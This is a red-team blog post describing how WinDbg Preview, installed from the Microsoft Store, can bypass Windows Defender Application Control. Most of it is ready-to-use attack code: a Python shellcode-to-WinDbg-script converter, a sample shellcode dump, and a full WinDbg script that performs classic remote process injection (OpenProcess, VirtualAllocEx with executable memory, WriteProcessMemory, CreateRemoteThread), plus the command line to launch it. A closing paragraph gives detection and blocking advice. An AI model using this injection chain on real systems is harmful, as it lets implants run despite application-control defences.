Bypass WDAC WinDbg Preview

A little while ago I came across a particularly difficult environment with strong Windows Defender Application Control (WDAC) policies configured and no way of gaining code execution to launch my implant… or was there?

0. The environment

Access to the environment was obtained through an assume breached scenario, meaning full control of a regular workstation. The workstation was properly locked down, resulting in a limited attack surface with no posibilities of code execution, or so I thought. The enforced WDAC policies basically made it impossible to run any unsigned executables or load unsigned DLLs, the various lolbins were explicitly blocked as well. To my surprise, the Microsoft Store had not been disabled and allowed installing verified applications such as WinDbg Preview edition.

1. WDAC default block list

Microsoft publishes a recommended WDAC blocklist which contains the legacy `windbg.exe` but not (yet) the new WinDbg Preview (`WinDbgX.exe`) installed via the Microsoft Store.

2. WinDbg Preview code execution

Armed with WinDbg, I figured I'd quickly be able to use it to execute my implant, however none of the straight forward methods such as launching an executable or loading a DLL file were working, because the lack of a valid signature enabled WDAC to block the execution. Back to the drawing board.

Having spent countless hours inside debuggers to develop malware and exploits, I must admit I'm not very skilled at using WinDbg and much prefer x64dbg. But a debugger is a debugger, they allow to control register states and execution flow, which means code execution. I stumbled upon an excellent blogpost by mr.d0x detailing how to abuse `Cdb.exe` to achieve similar results. However, `Cdb.exe` is on the Microsoft recommended WDAC blocklist, but much of the outlined concepts apply to WinDbg.

The idea is to use WinDbg Preview to inject shellcode into a remote process.

3. Turning shellcode into a WinDbg script

Step one is to turn the implant shellcode into a format that can be used in a WinDbg `.wds` script. I created a Python script which takes the shellcode file as input and outputs a ready to use `.wds` script.

The general idea is to load the shellcode into memory byte by byte using the `eb`(ref) command with a pseudo-register `$t0`.

```
import sys
import os

def convert_binary_file(input_file_path):
    try:
        # calculate allocation size
        file_size = os.path.getsize(input_file_path) + 1
        print(f"Total bytes: {file_size} - 0x{file_size:X}")

        with open(input_file_path, 'rb') as binary_file,
open('shellcode.wds', 'w') as output_file:
            # write allocation instructions

            output_file.write(f".foreach /pS 5 ( register {{ .dvalloc
0x{file_size:X} }} ) {{ r @$t0 = register }}\n")


            # write shellcode bytes
            byte = binary_file.read(1)
            counter = 0
            line_entries = []

            while byte:
                # convert to uppercase hex
                byte_hex = byte.hex().upper()

                # format the output string
                entry = f";eb @$t0+{counter:02X} {byte_hex}"
                line_entries.append(entry)

                if len(line_entries) == 4:
                    output_file.write(" ".join(line_entries) + "\n")
                    line_entries = []

                byte = binary_file.read(1)
                counter += 1

            # write remaining entries
```

```
            if line_entries:
                output_file.write(" ".join(line_entries) + "\n")

    except FileNotFoundError:
        print(f"Error: The file {input_file_path} does not exist.")
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python shellcode_to_wds.py <binary file path>")
    else:
        convert_binary_file(sys.argv[1])
        print("Results written to shellcode.wds")
```

Shellcode that pops calc.exe would look something like this:

```
.foreach /pS 5 ( register \{ .dvalloc 0x6B \} ) { r @$t0 = register }
;eb @$t0+00 53 ;eb @$t0+01 56 ;eb @$t0+02 57 ;eb @$t0+03 55
;eb @$t0+04 54 ;eb @$t0+05 58 ;eb @$t0+06 66 ;eb @$t0+07 83
;eb @$t0+08 E4 ;eb @$t0+09 F0 ;eb @$t0+0A 50 ;eb @$t0+0B 6A
;eb @$t0+0C 60 ;eb @$t0+0D 5A ;eb @$t0+0E 68 ;eb @$t0+0F 63
;eb @$t0+10 61 ;eb @$t0+11 6C ;eb @$t0+12 63 ;eb @$t0+13 54
;eb @$t0+14 59 ;eb @$t0+15 48 ;eb @$t0+16 29 ;eb @$t0+17 D4
;eb @$t0+18 65 ;eb @$t0+19 48 ;eb @$t0+1A 8B ;eb @$t0+1B 32
;eb @$t0+1C 48 ;eb @$t0+1D 8B ;eb @$t0+1E 76 ;eb @$t0+1F 18
;eb @$t0+20 48 ;eb @$t0+21 8B ;eb @$t0+22 76 ;eb @$t0+23 10
;eb @$t0+24 48 ;eb @$t0+25 AD ;eb @$t0+26 48 ;eb @$t0+27 8B
;eb @$t0+28 30 ;eb @$t0+29 48 ;eb @$t0+2A 8B ;eb @$t0+2B 7E
;eb @$t0+2C 30 ;eb @$t0+2D 03 ;eb @$t0+2E 57 ;eb @$t0+2F 3C
;eb @$t0+30 8B ;eb @$t0+31 5C ;eb @$t0+32 17 ;eb @$t0+33 28
;eb @$t0+34 8B ;eb @$t0+35 74 ;eb @$t0+36 1F ;eb @$t0+37 20
;eb @$t0+38 48 ;eb @$t0+39 01 ;eb @$t0+3A FE ;eb @$t0+3B 8B
;eb @$t0+3C 54 ;eb @$t0+3D 1F ;eb @$t0+3E 24 ;eb @$t0+3F 0F
;eb @$t0+40 B7 ;eb @$t0+41 2C ;eb @$t0+42 17 ;eb @$t0+43 8D
;eb @$t0+44 52 ;eb @$t0+45 02 ;eb @$t0+46 AD ;eb @$t0+47 81
;eb @$t0+48 3C ;eb @$t0+49 07 ;eb @$t0+4A 57 ;eb @$t0+4B 69
;eb @$t0+4C 6E ;eb @$t0+4D 45 ;eb @$t0+4E 75 ;eb @$t0+4F EF
;eb @$t0+50 8B ;eb @$t0+51 74 ;eb @$t0+52 1F ;eb @$t0+53 1C
;eb @$t0+54 48 ;eb @$t0+55 01 ;eb @$t0+56 FE ;eb @$t0+57 8B
;eb @$t0+58 34 ;eb @$t0+59 AE ;eb @$t0+5A 48 ;eb @$t0+5B 01
;eb @$t0+5C F7 ;eb @$t0+5D 99 ;eb @$t0+5E FF ;eb @$t0+5F D7
```

```
;eb @$t0+60 48 ;eb @$t0+61 83 ;eb @$t0+62 C4 ;eb @$t0+63 68
;eb @$t0+64 5C ;eb @$t0+65 5D ;eb @$t0+66 5F ;eb @$t0+67 5E
;eb @$t0+68 5B ;eb @$t0+69 C3
```

4. Performing remote process injection

With the shellcode buffer loaded into memory and available at `$t0`, the next step is to perform the actual remote injection. There are many different methods of remote injection, because I don't care about stealth or evasion, I went with the classic `OpenProcess()` ->`VirtualAllocEx()` -> `WriteProcessMemory()` -> `CreateRemoteThread()`. My solution makes use of the WinDbg built-in commands `r` and `eq` to manipulate the (pseudo-)registers and execution flow (through `rip`), which translates to `SetThreadContext()` under the hood, to manually set up the different calls and execute them. I'm sure there are much more elegant and efficient methods to do this, however as I already said I'm pretty bad at using WinDbg, let alone create cool scripts.

If you're somewhat familiar with Winternals, in this case 64-bit, you'll also know about the 64-bit calling convention. The calling convention describes how the *caller* should make calls into another function (the *callee*). To keep it simple for the sake of this blogpost and within the scope of the problem at hand, the following convention is applicable:

- param 1 - into `RCX`
- param 2 - into `RDX`
- param 3 - into `R8`
- param 4 - into `R9`
- param 5 and more - onto the *stack*

With that in mind, I wrote a script to craft the different contexts, setting up the parameters for each WinAPI, and invoked them through manipulating the current instruction pointer `rip`. To make sure the process which is being debugged can resume execution without crashing after we're done, the stack needs to be restored before resuming execution.

```
$ Arg1 = Target PID as HEX
$ Arg2 = Shellcode size as HEX

$ Prepend shellcode here

$ Save the current stack pointer - to restore the stack later
r @$t8 = rsp

$ Save the current instruction pointer as the return address
r @$t9 = rip

```

```
$ Set breakpoint on return address to configure the next API call
bp @$t9

$ Set up the call to OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId)
r rcx = 0x001F0FFF
r rdx = 0
$ Replace with hex PID of target process
r r8 = ${$arg1}

$ Allocate shadow space
r rsp = rsp - 0x20

$ Push the current RIP as the return address onto the stack
r rsp = rsp - 0x8
eq rsp @$t9

$ Adjust RIP to OpenProcess()
r rip = kernel32!OpenProcess

$ Execute OpenProcess()
g

$ Capture the return value (handle) in a pseudo-register
r @$t4 = rax

$ Set up to call VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE)
r rcx = @$t4
r rdx = 0
$ Replace with hex shellcode size
r r8 = ${$arg2}
r r9 = 0x3000

$ Push additional argument onto the stack
eq rsp+0x20 0x40

$ Push the current RIP as the return address onto the stack
r rsp = rsp - 0x8
eq rsp @$t9

$ Adjust RIP to VirtualAllocEx()
```

```
r rip = kernel32!VirtualAllocEx

$ Execute VirtualAllocEx()
g

$ Capture the return value (allocated memory address) in a pseudo-register
r @$t5 = rax

$ Set up to call WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize,
*lpNumberOfBytesWritten)
r rcx = @$t4
r rdx = @$t5
r r8 = @$t0
$ Replace with hex shellcode size
r r9 = ${$arg2}

$ Push additional argument onto the stack
eq rsp+0x20 0

$ Push the current RIP as the return address onto the stack
r rsp = rsp - 0x8
eq rsp @$t9

$ Adjust RIP to WriteProcessMemory()
r rip = kernel32!WriteprocessMemory

$ Execute WriteProcessMemory()
g

$ Capture the result of WriteProcessMemory()
r @$t6 = rax

$ Set up to call CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, NULL,
NULL, NULL)
r rcx = @$t4
r rdx = 0
r r8 = 0
r r9 = @$t5

$ Push additional arguments onto the stack
eq rsp+0x20 0
```

```
eq rsp+0x28 0
eq rsp+0x30 0

$ Push the current RIP as the return address onto the stack
r rsp = rsp - 0x8
eq rsp @$t9

$ Adjust RIP to CreateRemoteThread()
r rip = kernel32!CreateRemoteThread

$ Execute CreateRemoteThread()
g

$ Restore stack pointer to previous state
r rsp = @$t8
```

The script can be invoked using WinDbg Preview via the command line `WinDbgX.exe /accepteula /p PID /c "$>a<WinDbgRemoteProcessInjection.wds 0xTARGETPIDINHEX 0xSHELLCODESIZEINHEX"`, although as of writing I'm running into an `Unspecified error`, very useful Microsoft. Alternatively, the steps can be executed manually in the debugger, which allowed me to bypass WDAC and successfully inject an implant.

In summary, this is nothing the world has never seen before. Just a little creative use of a debugger and some thinking outside of the box. For those concerned with detecting something like this, the `WinDbgX.exe` process uses many calls to the `SetThreadContext()` WinAPI. I recommend disabling the Microsoft Store, and including `WinDbgX.exe` in the WDAC blocking policies for good measure.

5. References